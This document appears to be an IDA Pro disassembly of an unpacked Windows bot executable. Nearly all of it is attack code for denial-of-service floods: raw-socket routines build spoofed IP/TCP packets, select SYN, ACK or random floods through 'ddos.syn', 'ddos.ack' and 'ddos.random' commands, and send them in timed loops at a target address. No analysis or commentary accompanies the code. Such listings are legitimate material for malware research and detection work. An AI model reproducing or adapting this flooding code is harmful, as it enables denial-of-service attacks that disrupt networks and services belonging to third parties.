;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	2F58751D11D55B98F49B7FDE41706EE0

; File Name   :	u:\work\2f58751d11d55b98f49b7fde41706ee0_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00085000 ( 544768.)
; Section size in file		: 00085000 ( 544768.)
; Offset to raw	data for section: 00001000
; Flags	D00000E0: Text Data Bss	Shareable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
seg000		segment	para public 'BSS' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40CE55+38E0o
					; start-15FBo ...

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E9
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_423050
		push	eax
		call	sub_4154E7
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_412D4C
		add	esp, 14h

loc_401090:				; CODE XREF: sub_401000+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40B16D
		push	[ebp+var_290]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B2	proc near		; CODE XREF: sub_4013E9+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43A310	; WSAStartup
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013E5
; ---------------------------------------------------------------------------

loc_4010F2:				; CODE XREF: sub_4010B2+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43A43C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013DD
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_43A378	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D3
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_43A398	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_43A398	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_43A398	; htons
		mov	[ebp+var_12], ax
		call	sub_415543
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43A398	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_43A394	; htonl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------

loc_4011C2:				; CODE XREF: sub_4010B2+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------

loc_4011DE:				; CODE XREF: sub_4010B2+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_415543
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_415543
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_401216:				; CODE XREF: sub_4010B2+10Ej
					; sub_4010B2+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_43A398	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_421054	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_421050	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_4159A0
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_401264:				; CODE XREF: sub_4010B2+2E2j
					; sub_4010B2+2F0j
		mov	[ebp+var_4], bx
		call	sub_415543
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43A398	; htons
		mov	[ebp+var_14], ax
		call	sub_415543
		mov	edi, eax
		shl	edi, 10h
		call	sub_415543
		or	edi, eax
		push	edi
		call	dword_43A398	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43A394	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43A398	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_43A3FC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013A7
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_421050	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D0
		jl	loc_401264
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D0
		jmp	loc_401264
; ---------------------------------------------------------------------------

loc_4013A7:				; CODE XREF: sub_4010B2+2CBj
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_42308C
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40B16D
		add	esp, 10h
		jmp	short loc_4013D3
; ---------------------------------------------------------------------------

loc_4013D0:				; CODE XREF: sub_4010B2+2E0j
					; sub_4010B2+2EEj
		mov	ebx, [ebp+arg_8]

loc_4013D3:				; CODE XREF: sub_4010B2+78j
					; sub_4010B2+31Cj
		push	[ebp+var_20]
		call	dword_43A430	; closesocket
		pop	esi

loc_4013DD:				; CODE XREF: sub_4010B2+5Bj
		call	dword_43A2F8	; WSACleanup
		mov	eax, ebx

loc_4013E5:				; CODE XREF: sub_4010B2+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013E9	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A05B
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_415A5F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_415A5F
		mov	edi, eax
		call	sub_415543
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B2
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401438
		push	1
		pop	eax

loc_401438:				; CODE XREF: sub_4013E9+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401447	proc near		; DATA XREF: sub_40CE55+3AC8o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_43A418	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E2
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_42322C

loc_401495:				; DATA XREF: seg000:off_424D5Co
					; seg000:off_425D04o
		push	eax
		call	sub_4154E7
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C5
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412D4C
		add	esp, 14h

loc_4014C5:				; CODE XREF: sub_401447+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B16D
		push	[ebp+var_38]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread

loc_4014E2:				; CODE XREF: sub_401447+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_43A378	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401559
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4231E0
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153C
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412D4C
		add	esp, 14h

loc_40153C:				; CODE XREF: sub_401447+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B16D
		push	[ebp+var_38]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread

loc_401559:				; CODE XREF: sub_401447+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43A3D8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C0
		lea	eax, [ebp+var_3BC]
		push	offset unk_4231AC
		push	eax
		call	sub_4154E7
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A3
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412D4C
		add	esp, 14h

loc_4015A3:				; CODE XREF: sub_401447+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B16D
		push	[ebp+var_38]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread

loc_4015C0:				; CODE XREF: sub_401447+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_43A398	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	esi, dword_42104C
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax

loc_4015FE:				; CODE XREF: sub_401447+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017A9
		push	41Ch
		mov	byte_438B98, 45h
		call	dword_43A398	; htons
		cmp	[ebp+var_2C], edi
		mov	word_438B9A, ax
		mov	word_438B9C, bx
		mov	word_438B9E, di
		mov	byte_438BA0, 80h
		mov	byte_438BA1, bl
		mov	word_438BA2, di
		jz	short loc_401684
		call	sub_415543
		mov	ebx, eax
		shl	ebx, 8
		call	sub_415543
		add	ebx, eax
		shl	ebx, 8
		call	sub_415543
		add	ebx, eax
		shl	ebx, 8
		call	sub_415543
		add	ebx, eax
		push	1
		mov	dword_438BA4, ebx
		pop	ebx
		jmp	short loc_40169C
; ---------------------------------------------------------------------------

loc_401684:				; CODE XREF: sub_401447+20Bj
		push	[ebp+var_1BC]
		call	sub_40A171
		pop	ecx
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	dword_438BA4, eax

loc_40169C:				; CODE XREF: sub_401447+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_438BA8, eax
		call	sub_415543
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_438BAC, dl
		call	sub_415543
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_438BAD, dl
		call	sub_415543
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_438BAE, di
		mov	word_438BB2, bx
		inc	edx
		mov	word_438BB0, dx
		call	sub_415543
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_438BB4
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_438B98
		push	[ebp+var_4]
		call	dword_43A3FC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401734
		inc	[ebp+arg_0]
		jmp	loc_4015FE
; ---------------------------------------------------------------------------

loc_401734:				; CODE XREF: sub_401447+2E3j
		push	[ebp+var_4]
		call	dword_43A430	; closesocket
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_423148
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178C
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412D4C
		add	esp, 14h

loc_40178C:				; CODE XREF: sub_401447+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B16D
		push	[ebp+var_38]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread

loc_4017A9:				; CODE XREF: sub_401447+1C8j
		push	[ebp+var_4]
		call	dword_43A430	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4230E4
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401811
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412D4C
		add	esp, 14h

loc_401811:				; CODE XREF: sub_401447+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B16D
		push	[ebp+var_38]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
sub_401447	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182E	proc near		; DATA XREF: sub_40CE55+37D1o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401B7C
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_423274
		push	eax
		call	sub_4154E7
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AB
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_412D4C
		add	esp, 14h

loc_4018AB:				; CODE XREF: sub_40182E+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40B16D
		push	[ebp+var_10]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_40182E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018CA	proc near		; CODE XREF: sub_401B7C+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43A310	; WSAStartup
		test	eax, eax
		jz	short loc_40190A
		xor	eax, eax
		jmp	loc_401B78
; ---------------------------------------------------------------------------

loc_40190A:				; CODE XREF: sub_4018CA+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43A43C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401B70
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_43A378	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_401B66
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_43A398	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_43A398	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_43A398	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_43A398	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_421054	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_421050	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_4159A0
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_4019F5:				; CODE XREF: sub_4018CA+25Dj
					; sub_4018CA+26Bj
		mov	[ebp+var_24], bx
		call	sub_415543
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43A398	; htons
		mov	[ebp+var_34], ax
		call	sub_415543
		mov	edi, eax
		shl	edi, 10h
		call	sub_415543
		or	edi, eax
		push	edi
		call	dword_43A398	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43A394	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43A398	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_43A3FC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401B3A
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_421050	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401B63
		jl	loc_4019F5
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401B63
		jmp	loc_4019F5
; ---------------------------------------------------------------------------

loc_401B3A:				; CODE XREF: sub_4018CA+247j
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4232B0
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40B16D
		add	esp, 10h
		jmp	short loc_401B66
; ---------------------------------------------------------------------------

loc_401B63:				; CODE XREF: sub_4018CA+25Bj
					; sub_4018CA+269j
		mov	ebx, [ebp+arg_8]

loc_401B66:				; CODE XREF: sub_4018CA+78j
					; sub_4018CA+297j
		push	[ebp+var_C]
		call	dword_43A430	; closesocket
		pop	esi

loc_401B70:				; CODE XREF: sub_4018CA+5Bj
		call	dword_43A2F8	; WSACleanup
		mov	eax, ebx

loc_401B78:				; CODE XREF: sub_4018CA+3Bj
		pop	edi
		pop	ebx
		leave
		retn
